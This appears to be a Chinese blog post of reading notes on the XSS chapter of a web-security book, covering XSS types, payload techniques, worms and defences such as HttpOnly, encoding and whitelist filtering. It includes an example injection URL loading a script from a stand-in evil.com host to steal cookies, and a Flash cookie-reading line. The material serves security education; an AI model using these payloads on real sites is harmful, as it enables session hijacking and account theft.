白帽子讲Web安全(第 3 章 跨站脚本攻击( XSS ))

第 3 章 跨站脚本攻击( XSS )

3.1 XSS 简介

跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是 CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS )有所区别,所以在安全领域叫做“XSS”。

XSS 攻击,通常指黑客通过“ HTML 注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

在一开始,这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。

针对各种不同场景长生的XSS,需要区分情景对待。

XSS 根据效果的不同可以分成如下几类:

  1. 反射型 XSS
    反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型 XSS 也叫做“非持久型 XSS ”( Non-persistent XSS )。
  2. 存储型 XSS
    存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。存储型 XSS 通常也叫做“持久型 XSS ”( Persistent XSS ),因为从效果上来说,它存在的时间是比较长的。
  3. DOM Based XSS
    实际上,这种类型的 XSS 并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS 。单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS 。出于历史原因,也就把它单独作为一个分类了。
    通过修改页面的 DOM 节点形成的 XSS ,称之为 DOM Based XSS。

3.2 XSS 攻击进阶

3.2.1 初探 XSS Payload

XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本)
,所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。

一个常见的 XSS Payload ,就是通过读取浏览器的 Cookie 对象,从而发起“ Cookie 劫持”攻击。

Cookie 中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录金用户的账户。

如下所示,攻击者先加载一个远程脚本。

http://www.a.com/test.htm?abc=''><script src=http://www.evil.com/evil.js ></script>

真正的 XSS Payload 写在这个远程脚本中,避免直接在 URL 的参数里写入大量的 JavaScript 代码。

在 evil.js 中,可以通过代码窃取 Cookie,如获取当前页面的 document.cookie 对象作为参数发送至远程服务器,这就是一个最简单的窃取 Cookie 的 XSS Payload。

如何利用窃取的 Cookie 登录目标用户的账户呢?这和“利用自定义 Cookie 访问网站”过程是一样的,在 Firefox 中访问网站( www.a.com ),查看当前的 Cookie 并复制,再打开 IE 浏览器把 Firefox 复制好的 Cookie 替换当前 IE 中的 Cookie。 重新发送这个包即可。

Cookie 的“ HttpOnly ”标识可以防止“ Cookie 劫持”。

3.2.2 强大的 XSS Payload

“ Cookie 劫持”并非所有的时候都有效。有的网站可能会在 Set-Cookie 时给关键 Cookie 植入 HttpOnly 标识;有的网站则可能会把 Cookie 与客户端 IP 绑定,从而使得 XSS 窃取的 Cookie 失去意义。

3.2.2.1 构造 GET 与 POST 请求

XSS 攻击后,攻击者除了可以实施“ Cookie 劫持” 外,还能够通过模拟 GET、POST请求操作用户的浏览器。这在某些隔离环境中会非常有用,比如“ Cookie 劫持 ” 失效时, 或者目标用户的网络不能访问互联网等情况。

3.2.2.2 XSS 钓鱼
3.2.2.3 识别用户浏览器

浏览器的 UserAgent 可以伪造。

3.2.2.4 识别用户安装的软件。
3.2.2.5 CSS History Hack
3.2.2.6 获取用户的真实 IP 地址

JavaScript 本身并没有提供获取本地 IP 地址的能力,XSS 攻击者需要借助第三方软件来完成。

3.2.3 XSS 攻击平台

常见的 XSS 攻击平台

  1. Attack API
  2. BeEF
  3. XSS-Proxy

3.2.4 终极武器:XSS Worm

以往的蠕虫是利用服务器端软件漏洞进行传播的。

3.2.4.1 Samy Worm

XSS Worm 是 XSS 的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起 XSS Worm 攻击也有一定的条件。

一般来说,用户之间发生交互行为的页面,如果存在存储型 XSS,则比较容易发起 XSS Worm 攻击。

3.2.4.2 百度空间蠕虫

3.2.5 调试 JavaScript

常用的调试 JavaScript 工具:

  1. Firebug
  2. IE 8 Developer Tools
  3. Fiddler
  4. HttpWatch

3.2.6 XSS 构造技巧

3.2.6.1 利用字符编码
3.2.6.2 绕过长度限制

在某些环境下,可以 利用注释符绕过长度限制。

比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用 HTML 的“注释符号”,把两个文本框之间的 HTML 代码全部注释掉,从而“打通”两个 标签。

3.2.6.3 使用 标签
标签并不常用,它地作用是定义页面上地所有使用“相对路径”标签地 hosting 地址。

需要特别注意地是,在有的技术文档中,提到 标签只能用于 标签之内,其实这是不对的。 标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。

攻击者如果在页面中插入了 标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。

在设计 XSS 安全方案时,一定要过滤掉这个非常危险的标签。

3.2.6.4 window.name 的妙用

window.name 对象是一个很神奇的东西。对当前窗口的 window.name 对象赋值,没有特殊字符的限制。因为 window 对象是浏览器的窗体,而并非 document 对象,因此很多时候 window 对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。

3.2.7 变废为宝:Mission Impossible

从 XSS 漏洞利用的角度来看,存储型 XSS 对攻击者的用处比反射型 XSS 要大。因为存储型 XSS 在用户访问正常 URL 时会自动触发;而反射型 XSS 会修改一个正常的 URL,一般要求攻击者将 XSS URL 发送给用户点击,无形中提高了攻击的门槛。

3.2.7.1 Apache Expect Header XSS
3.2.7.2 Anehta 的回旋镖

反射型 XSS 也有可能像存储型 XSS 一样利用:将要利用的反射型 XSS 嵌入一个存储型 XSS 中。

因为浏览器同源策略的原因,XSS 也受到同源策略的限制----发生在 A 域上的 XSS 很难影响到 B 域的用户。

回旋镖的思路就是:如果在 B 域上存在一个反射型 “ XSS_B ”,在 A 域上存在一个存储型“ XSS_A ”,当用户访问 A 域上的“ XSS_A ”时,同时嵌入 B 域上的“ XSS_B ”,则可以达到在 A 域的 XSS 攻击 B 域用户的目的。

XSS 漏洞是一个 Web 安全问题,不能因为它的利用难易程度而决定是否应该修补。随着技术的发展,某些难以利用的漏洞,也许不再是难题。

3.2.8 容易被忽视的角落:Flash XSS

前文讲到的 XSS 攻击都是基于 HTML 的,其实在 Flash 中同样也有可能造成 XSS 攻击。

在 Flash 中是可以嵌入 ActionScript 脚本。一个最常见的 Flash XSS 可以这样写:

getURL ("javascript:alert(document.cookie)")

ActionScript 是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能禁止用户能够上传或加载自定义的 Flash 文件。

由于 Flash 文件如此危险,所以在实现 XSS Filter 时,一般都会禁用 、等标签。

3.2.9 真的高枕无忧吗:JavaScript 开发框架

3.3 XSS 的防御

XSS 的防御是复杂的。

3.3.1 四两拨千斤:HttpOnly

HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准。浏览器将禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie 。

严格的说,HttpOnly 并非为了对抗 XSS ---- HttpOnly 解决的是 XSS 后的 Cookie劫持攻击。

使用 HttpOnly 有助于缓解 XSS 攻击,但仍然需要其他能够解决 XSS 漏洞的方案。

3.3.2 输入检查

常见的 Web 漏洞如 XSS、SQL Injection 等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

在 XSS 的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如 <、>、’ 、" 等。如果发现存在特殊字符,则将这些字符过滤或者编码。

3.3.3 输出检查

一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。

3.3.3.1 安全的编码函数
3.3.3.2 只需要一种编码吗

3.3.4 正确地防御 XSS

XSS 的本质还是一种“ HTML 注入”,用户的数据被当成了 HTML 代码一部分来执行,从而混淆了原本的语义,产生了新的语义。

3.3.5 处理富文本

在过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如 <iframe><script><base><form> 等,也是应该严格禁止的。

在标签的选择上,应该使用白名单,避免使用黑名单。 比如,只允许 <a><img><div> 等比较“安全”的标签存在。

“白名单原则”不仅仅用于标签的选择,同样应该用于属性与事件的选择。

在富文本过滤中,处理 CSS 也是一样麻烦的事情。如果允许用户自定义 CSS、style,则也可能导致 XSS 攻击。因此尽可能地禁止用户自定义 CSS 与 style 。

3.3.6 防御 DOM Based XSS

DOM Based XSS 是一种比较特别的 XSS 漏洞。

DOM Based XSS 是从 JavaScript 中输出数据到 HTML 页面里。

3.3.7 换个角度看 XSS 的风险

一般来说,存储型 XSS 的风险会高于反射型 XSS 。因为存储型 XSS 会保存在服务器上,有可能会跨页面存在。它不改变页面 URL 的原有结构,因此有时候还能逃过一些 IDS 的监测。比如 IE 8 的 XSS Filter 和 Firefox 的 Noscript Extension ,都会检查地址栏中的地址是否包含 XSS 脚本。而跨页面的存储型 XSS 可能会绕过这些检测工具。

从攻击过程来说,反射型 XSS,一般要求攻击者诱使用户点击一个包含 XSS 代码的 URL 链接;而存储型 XSS,则只需要让用户查看一个正常的 URL 链接。

从风险的角度看,用户之间有互动的页面,是可能发起 XSS Worm 攻击的地方。而根据不同页面的 PageView 高低,也可以分析出哪些页面受 XSS 攻击后的影响会更大。比如在网站首页发生的 XSS 攻击,肯定比网站合作伙伴页面的 XSS 攻击要严重得多。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值